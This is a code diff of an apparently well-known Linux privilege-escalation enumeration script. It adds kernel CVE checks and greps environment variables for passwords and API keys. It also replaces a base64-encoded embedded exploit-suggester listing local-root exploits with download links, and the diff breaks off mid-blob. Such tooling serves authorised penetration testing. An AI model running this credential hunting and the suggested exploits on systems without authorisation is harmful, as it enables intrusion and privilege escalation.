+kernelnumber=$(echo $kernelversion | awk -F. '{ printf("%d%03d%03d%03d\n", $1,$2,$3,$4); }') +if [ $kernelnumber -ge 5008000000 ] && [ $kernelnumber -lt 5017000000 ]; then # if kernel version between 5.8 and 5.17 + echo "Potentially Vulnerable to CVE-2022-0847" | sed -${E} "s,.*,${SED_RED}," + echo "" +fi + +#-- SY) CVE-2022-2588 +#-- https://github.com/Markakd/CVE-2022-2588 +kernelversion=$(uname -r | awk -F"-" '{print $1}') +kernelnumber=$(echo $kernelversion | awk -F. '{ printf("%d%03d%03d%03d\n", $1,$2,$3,$4); }') +if [ $kernelnumber -ge 3017000000 ] && [ $kernelnumber -lt 5019000000 ]; then # if kernel version between 3.17 and 5.19 + echo "Potentially Vulnerable to CVE-2022-2588" | sed -${E} "s,.*,${SED_RED}," + echo "" +fi +echo "" + #--SY) USBCreator if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then print_2title "USBCreator" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation" pc_version=$(dpkg -l 2>/dev/null | grep policykit-desktop-privileges | grep -oP "[0-9][0-9a-zA-Z\.]+") if [ -z "$pc_version" ]; then @@ -1211,10 +1379,15 @@ fi echo "" #-- SY) PATH + print_2title "PATH" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-path-abuses" -echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" -echo "New path exported: $PATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\. ,${SED_RED_YELLOW},g" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses" +if ! [ "$IAMROOT" ]; then + echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" + echo "New path exported: $PATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\. ,${SED_RED_YELLOW},g" +else + echo "New path exported: $PATH" 2>/dev/null +fi echo "" #-- SY) Date @@ -1247,7 +1420,7 @@ fi if [ -f "/etc/fstab" ] || [ "$DEBUG" ]; then print_2title "Unmounted file-system?" print_info "Check if you can mount umounted devices" - grep -v "^#" /etc/fstab 2>/dev/null | grep -Ev "\W+\#|^#" | sed -${E} "s,$mountG,${SED_GREEN},g" | sed -${E} "s,$notmounted,${SED_RED}," | sed -${E} "s,$mounted,${SED_BLUE}," | sed -${E} "s,$Wfolders,${SED_RED}," | sed -${E} "s,$mountpermsB,${SED_RED},g" | sed -${E} "s,$mountpermsG,${SED_GREEN},g" + grep -v "^#" /etc/fstab 2>/dev/null | grep -Ev "\W+\#|^#" | sed -${E} "s,$mountG,${SED_GREEN},g" | sed -${E} "s,$notmounted,${SED_RED},g" | sed -${E} "s%$mounted%${SED_BLUE}%g" | sed -${E} "s,$Wfolders,${SED_RED}," | sed -${E} "s,$mountpermsB,${SED_RED},g" | sed -${E} "s,$mountpermsG,${SED_GREEN},g" echo "" fi @@ -1266,13 +1439,13 @@ fi #-- SY) Environment vars print_2title "Environment" print_info "Any private information inside environment variables?" -(env || printenv || set) 2>/dev/null | grep -v "RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|PWD=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs|USEFUL_SOFTWARE|PSTORAGE_KUBELET" | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY]|KRB5CCNAME,${SED_RED},g" || echo_not_found "env || set" +(env || printenv || set) 2>/dev/null | grep -v "RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|PWD=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs|USEFUL_SOFTWARE|PSTORAGE_KUBERNETES" | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY]|KRB5CCNAME,${SED_RED},g" || echo_not_found "env || set" echo "" #-- SY) Dmesg if [ "$(command -v dmesg 2>/dev/null)" ] || [ "$DEBUG" ]; then print_2title "Searching Signature verification failed in dmesg" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#dmesg-signature-verification-failed" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#dmesg-signature-verification-failed" (dmesg 2>/dev/null | grep "signature") || echo_not_found "dmesg" echo "" fi @@ -1290,12 +1463,8 @@ fi if [ "$(command -v bash 2>/dev/null)" ]; then print_2title "Executing Linux Exploit Suggester" print_info "https://github.com/mzet-/linux-exploit-suggester" - les_b64="IyEvYmluL2Jhc2gKCiMKIyBDb3B5cmlnaHQgKGMpIDIwMTYtMjAyMCwgQF9temV0XwojCiMgbGludXgtZXhwbG9pdC1zdWdnZXN0ZXIuc2ggY29tZXMgd2l0aCBBQlNPTFVURUxZIE5PIFdBUlJBTlRZLgojIFRoaXMgaXMgZnJlZSBzb2Z0d2FyZSwgYW5kIHlvdSBhcmUgd2VsY29tZSB0byByZWRpc3RyaWJ1dGUgaXQKIyB1bmRlciB0aGUgdGVybXMgb2YgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlLiBTZWUgTElDRU5TRQojIGZpbGUgZm9yIHVzYWdlIG9mIHRoaXMgc29mdHdhcmUuCiMKClZFUlNJT049djEuMQoKIyBiYXNoIGNvbG9ycwojdHh0cmVkPSJcZVswOzMxbSIKdHh0cmVkPSJcZVs5MTsxbSIKdHh0Z3JuPSJcZVsxOzMybSIKdHh0Z3JheT0iXGVbMDszN20iCnR4dGJsdT0iXGVbMDszNm0iCnR4dHJzdD0iXGVbMG0iCmJsZHdodD0nXGVbMTszN20nCndodD0nXGVbMDszNm0nCmJsZGJsdT0nXGVbMTszNG0nCnllbGxvdz0nXGVbMTs5M20nCmxpZ2h0eWVsbG93PSdcZVswOzkzbScKCiMgaW5wdXQgZGF0YQpVTkFNRV9BPSIiCgojIHBhcnNlZCBkYXRhIGZvciBjdXJyZW50IE9TCktFUk5FTD0iIgpPUz0iIgpESVNUUk89IiIKQVJDSD0iIgpQS0dfTElTVD0iIgoKIyBrZXJuZWwgY29uZmlnCktDT05GSUc9IiIKCkNWRUxJU1RfRklMRT0iIgoKb3B0X2ZldGNoX2JpbnM9ZmFsc2UKb3B0X2ZldGNoX3NyY3M9ZmFsc2UKb3B0X2tlcm5lbF92ZXJzaW9uPWZhbHNlCm9wdF91bmFtZV9zdHJpbmc9ZmFsc2UKb3B0X3BrZ2xpc3RfZmlsZT1mYWxzZQpvcHRfY3ZlbGlzdF9maWxlPWZhbHNlCm9wdF9jaGVja3NlY19tb2RlPWZhbHNlCm9wdF9mdWxsPWZhbHNlCm9wdF9zdW1tYXJ5PWZhbHNlCm9wdF9rZXJuZWxfb25seT1mYWxzZQpvcHRfdXNlcnNwYWNlX29ubHk9ZmFsc2UKb3B0X3Nob3dfZG9zPWZhbHNlCm9wdF9za2lwX21vcmVfY2hlY2tzPWZhbHNlCm9wdF9za2lwX3BrZ192ZXJzaW9ucz1mYWxzZQoKQVJHUz0KU0hPUlRPUFRTPSJoVmZic3U6azpkcDpnIgpMT05HT1BUUz0iaGVscCx2ZXJzaW9uLGZ1bGwsZmV0Y2gtYmluYXJpZXMsZmV0Y2gtc291cmNlcyx1bmFtZTosa2VybmVsOixzaG93LWRvcyxwa2dsaXN0LWZpbGU6LHNob3J0LGtlcm5lbHNwYWNlLW9ubHksdXNlcnNwYWNlLW9ubHksc2tpcC1tb3JlLWNoZWNrcyxza2lwLXBrZy12ZXJzaW9ucyxjdmVsaXN0LWZpbGU6LGNoZWNrc2VjIgoKIyMgZXhwbG9pdHMgZGF0YWJhc2UKZGVjbGFyZSAtYSBFWFBMT0lUUwpkZWNsYXJlIC1hIEVYUExPSVRTX1VTRVJTUEFDRQoKIyMgdGVtcG9yYXJ5IGFycmF5IGZvciBwdXJwb3NlIG9mIHNvcnRpbmcgZXhwbG9pdHMgKGJhc2VkIG9uIGV4cGxvaXRzJyByYW5rKQpkZWNsYXJlIC1hIGV4cGxvaXRzX3RvX3NvcnQKZGVjbGFyZSAtYSBTT1JURURfRVhQTE9JVFMKCiMjIyMjIyMjIyMjIyBMSU5VWCBLRVJORUxTUEFDRSBFWFBMT0lUUyAjIyMjIyMjIyMjIyMjIyMjIyMjIwpuPTAKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNC0xMjM1XSR7dHh0cnN0fSBlbGZsYmwKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI9Mi40LjI5ClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vaXNlYy5wbC92dWxuZXJhYmlsaXRpZXMvaXNlYy0wMDIxLXVzZWxpYi50eHQKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTExMTAzMDQyOTA0L2h0dHA6Ly90YXJhbnR1bGEuYnkucnUvbG9jYWxyb290LzIuNi54L2VsZmxibApleHBsb2l0LWRiOiA3NDQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNC0xMjM1XSR7dHh0cnN0fSB1c2VsaWIoKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj0yLjQuMjkKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9pc2VjLnBsL3Z1bG5lcmFiaWxpdGllcy9pc2VjLTAwMjEtdXNlbGliLnR4dApleHBsb2l0LWRiOiA3NzgKQ29tbWVudHM6IEtub3duIHRvIHdvcmsgb25seSBmb3IgMi40IHNlcmllcyAoZXZlbiB0aG91Z2ggMi42IGlzIGFsc28gdnVsbmVyYWJsZSkKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNC0xMjM1XSR7dHh0cnN0fSBrcmFkMwpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjUsdmVyPD0yLjYuMTEKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAxMzk3CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDQtMDA3N10ke3R4dHJzdH0gbXJlbWFwX3B0ZQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMgpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDE2MApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA2LTI0NTFdJHt0eHRyc3R9IHJhcHRvcl9wcmN0bApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjEzLHZlcjw9Mi42LjE3ClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogMjAzMQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA2LTI0NTFdJHt0eHRyc3R9IHByY3RsClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTMsdmVyPD0yLjYuMTcKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAyMDA0CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDYtMjQ1MV0ke3R4dHJzdH0gcHJjdGwyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTMsdmVyPD0yLjYuMTcKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAyMDA1CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDYtMjQ1MV0ke3R4dHJzdH0gcHJjdGwzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTMsdmVyPD0yLjYuMTcKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAyMDA2CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDYtMjQ1MV0ke3R4dHJzdH0gcHJjdGw0ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTMsdmVyPD0yLjYuMTcKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAyMDExCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDYtMzYyNl0ke3R4dHJzdH0gaDAwbHlzaGl0ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuOCx2ZXI8PTIuNi4xNgpUYWdzOgpSYW5rOiAxCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDExMTEwMzA0MjkwNC9odHRwOi8vdGFyYW50dWxhLmJ5LnJ1L2xvY2Fscm9vdC8yLjYueC9oMDBseXNoaXQKZXhwbG9pdC1kYjogMjAxMwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA4LTA2MDBdJHt0eHRyc3R9IHZtc3BsaWNlMQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjE3LHZlcjw9Mi42LjI0ClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogNTA5MgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA4LTA2MDBdJHt0eHRyc3R9IHZtc3BsaWNlMgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjIzLHZlcjw9Mi42LjI0ClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogNTA5MwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA4LTQyMTBdJHt0eHRyc3R9IGZ0cmV4ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTEsdmVyPD0yLjYuMjIKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiA2ODUxCkNvbW1lbnRzOiB3b3JsZC13cml0YWJsZSBzZ2lkIGRpcmVjdG9yeSBhbmQgc2hlbGwgdGhhdCBkb2VzIG5vdCBkcm9wIHNnaWQgcHJpdnMgdXBvbiBleGVjIChhc2gvc2FzaCkgYXJlIHJlcXVpcmVkCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDgtNDIxMF0ke3R4dHJzdH0gZXhpdF9ub3RpZnkKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4yNSx2ZXI8PTIuNi4yOQpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDgzNjkKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjkyXSR7dHh0cnN0fSBzb2NrX3NlbmRwYWdlIChzaW1wbGUgdmVyc2lvbikKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjMwClRhZ3M6IHVidW50dT03LjEwLFJIRUw9NCxmZWRvcmE9NHw1fDZ8N3w4fDl8MTB8MTEKUmFuazogMQpleHBsb2l0LWRiOiA5NDc5CkNvbW1lbnRzOiBXb3JrcyBmb3Igc3lzdGVtcyB3aXRoIC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIGVxdWFsIHRvIDAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjkyLENWRS0yMDA5LTE4OTVdJHt0eHRyc3R9IHNvY2tfc2VuZHBhZ2UKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjMwClRhZ3M6IHVidW50dT05LjA0ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3hvcmwud29yZHByZXNzLmNvbS8yMDA5LzA3LzE2L2N2ZS0yMDA5LTE4OTUtbGludXgta2VybmVsLXBlcl9jbGVhcl9vbl9zZXRpZC1wZXJzb25hbGl0eS1ieXBhc3MvCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9vZmZlbnNpdmUtc2VjdXJpdHkvZXhwbG9pdC1kYXRhYmFzZS1iaW4tc3Bsb2l0cy9yYXcvbWFzdGVyL2Jpbi1zcGxvaXRzLzk0MzUudGd6CmV4cGxvaXQtZGI6IDk0MzUKQ29tbWVudHM6IC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIG5lZWRzIHRvIGVxdWFsIDAgT1IgcHVsc2VhdWRpbyBuZWVkcyB0byBiZSBpbnN0YWxsZWQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjkyLENWRS0yMDA5LTE4OTVdJHt0eHRyc3R9IHNvY2tfc2VuZHBhZ2UyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zMApUYWdzOiAKUmFuazogMQpzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vb2ZmZW5zaXZlLXNlY3VyaXR5L2V4cGxvaXQtZGF0YWJhc2UtYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy85NDM2LnRnegpleHBsb2l0LWRiOiA5NDM2CkNvbW1lbnRzOiBXb3JrcyBmb3Igc3lzdGVtcyB3aXRoIC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIGVxdWFsIHRvIDAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjkyLENWRS0yMDA5LTE4OTVdJHt0eHRyc3R9IHNvY2tfc2VuZHBhZ2UzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zMApUYWdzOiAKUmFuazogMQpzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vb2ZmZW5zaXZlLXNlY3VyaXR5L2V4cGxvaXQtZGF0YWJhc2UtYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy85NjQxLnRhci5negpleHBsb2l0LWRiOiA5NjQxCkNvbW1lbnRzOiAvcHJvYy9zeXMvdm0vbW1hcF9taW5fYWRkciBuZWVkcyB0byBlcXVhbCAwIE9SIHB1bHNlYXVkaW8gbmVlZHMgdG8gYmUgaW5zdGFsbGVkCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDktMjY5MixDVkUtMjAwOS0xODk1XSR7dHh0cnN0fSBzb2NrX3NlbmRwYWdlIChwcGMpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zMApUYWdzOiB1YnVudHU9OC4xMCxSSEVMPTR8NQpSYW5rOiAxCmV4cGxvaXQtZGI6IDk1NDUKQ29tbWVudHM6IC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIG5lZWRzIHRvIGVxdWFsIDAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjk4XSR7dHh0cnN0fSB0aGUgcmViZWwgKHVkcF9zZW5kbXNnKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjEsdmVyPD0yLjYuMTkKVGFnczogZGViaWFuPTQKUmFuazogMQpzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vb2ZmZW5zaXZlLXNlY3VyaXR5L2V4cGxvaXQtZGF0YWJhc2UtYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy85NTc0LnRnegpleHBsb2l0LWRiOiA5NTc0CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9ibG9nLmNyMC5vcmcvMjAwOS8wOC9jdmUtMjAwOS0yNjk4LXVkcHNlbmRtc2ctdnVsbmVyYWJpbGl0eS5odG1sCmF1dGhvcjogc3BlbmRlcgpDb21tZW50czogL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHIgbmVlZHMgdG8gZXF1YWwgMCBPUiBwdWxzZWF1ZGlvIG5lZWRzIHRvIGJlIGluc3RhbGxlZApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OThdJHt0eHRyc3R9IGhvYWdpZV91ZHBfc2VuZG1zZwpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjEsdmVyPD0yLjYuMTkseDg2ClRhZ3M6IGRlYmlhbj00ClJhbms6IDEKZXhwbG9pdC1kYjogOTU3NQphbmFseXNpcy11cmw6IGh0dHBzOi8vYmxvZy5jcjAub3JnLzIwMDkvMDgvY3ZlLTIwMDktMjY5OC11ZHBzZW5kbXNnLXZ1bG5lcmFiaWxpdHkuaHRtbAphdXRob3I6IGFuZGkKQ29tbWVudHM6IFdvcmtzIGZvciBzeXN0ZW1zIHdpdGggL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHIgZXF1YWwgdG8gMApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OThdJHt0eHRyc3R9IGthdG9uICh1ZHBfc2VuZG1zZykKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xLHZlcjw9Mi42LjE5LHg4NgpUYWdzOiBkZWJpYW49NApSYW5rOiAxCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9LYWJvdC9Vbml4LVByaXZpbGVnZS1Fc2NhbGF0aW9uLUV4cGxvaXRzLVBhY2svcmF3L21hc3Rlci8yMDA5L0NWRS0yMDA5LTI2OTgva2F0b24uYwphbmFseXNpcy11cmw6IGh0dHBzOi8vYmxvZy5jcjAub3JnLzIwMDkvMDgvY3ZlLTIwMDktMjY5OC11ZHBzZW5kbXNnLXZ1bG5lcmFiaWxpdHkuaHRtbAphdXRob3I6IFZ4SGVsbCBMYWJzCkNvbW1lbnRzOiBXb3JrcyBmb3Igc3lzdGVtcyB3aXRoIC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIGVxdWFsIHRvIDAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjk4XSR7dHh0cnN0fSBpcF9hcHBlbmRfZGF0YQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjEsdmVyPD0yLjYuMTkseDg2ClRhZ3M6IGZlZG9yYT00fDV8NixSSEVMPTQKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vYmxvZy5jcjAub3JnLzIwMDkvMDgvY3ZlLTIwMDktMjY5OC11ZHBzZW5kbXNnLXZ1bG5lcmFiaWxpdHkuaHRtbApleHBsb2l0LWRiOiA5NTQyCmF1dGhvcjogcDBjNzNuMQpDb21tZW50czogV29ya3MgZm9yIHN5c3RlbXMgd2l0aCAvcHJvYy9zeXMvdm0vbW1hcF9taW5fYWRkciBlcXVhbCB0byAwCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDktMzU0N10ke3R4dHJzdH0gcGlwZS5jIDEKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjMxClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogMzMzMjEKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0zNTQ3XSR7dHh0cnN0fSBwaXBlLmMgMgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzEKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAzMzMyMgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTM1NDddJHt0eHRyc3R9IHBpcGUuYyAzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zMQpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDEwMDE4CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTAtMzMwMV0ke3R4dHJzdH0gcHRyYWNlX2ttb2QyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMjYsdmVyPD0yLjYuMzQKVGFnczogZGViaWFuPTYuMHtrZXJuZWw6Mi42LigzMnwzM3wzNHwzNSktKDF8Mnx0cnVuayktYW1kNjR9LHVidW50dT0oMTAuMDR8MTAuMTApe2tlcm5lbDoyLjYuKDMyfDM1KS0oMTl8MjF8MjQpLXNlcnZlcn0KUmFuazogMQpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxMTExMDMwNDI5MDQvaHR0cDovL3RhcmFudHVsYS5ieS5ydS9sb2NhbHJvb3QvMi42Lngva21vZDIKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTExMTAzMDQyOTA0L2h0dHA6Ly90YXJhbnR1bGEuYnkucnUvbG9jYWxyb290LzIuNi54L3B0cmFjZS1rbW9kCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjY0MS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL3B0cmFjZV9rbW9kMi02NApleHBsb2l0LWRiOiAxNTAyMwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEwLTExNDZdJHt0eHRyc3R9IHJlaXNlcmZzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTgsdmVyPD0yLjYuMzQKVGFnczogdWJ1bnR1PTkuMTAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vam9uLm9iZXJoZWlkZS5vcmcvYmxvZy8yMDEwLzA0LzEwL3JlaXNlcmZzLXJlaXNlcmZzX3ByaXYtdnVsbmVyYWJpbGl0eS8Kc3JjLXVybDogaHR0cHM6Ly9qb24ub2JlcmhlaWRlLm9yZy9maWxlcy90ZWFtLWVkd2FyZC5weQpleHBsb2l0LWRiOiAxMjEzMApjb21tZW50czogUmVxdWlyZXMgYSBSZWlzZXJGUyBmaWxlc3lzdGVtIG1vdW50ZWQgd2l0aCBleHRlbmRlZCBhdHRyaWJ1dGVzCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTAtMjk1OV0ke3R4dHJzdH0gY2FuX2JjbQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjE4LHZlcjw9Mi42LjM2ClRhZ3M6IHVidW50dT0xMC4wNHtrZXJuZWw6Mi42LjMyL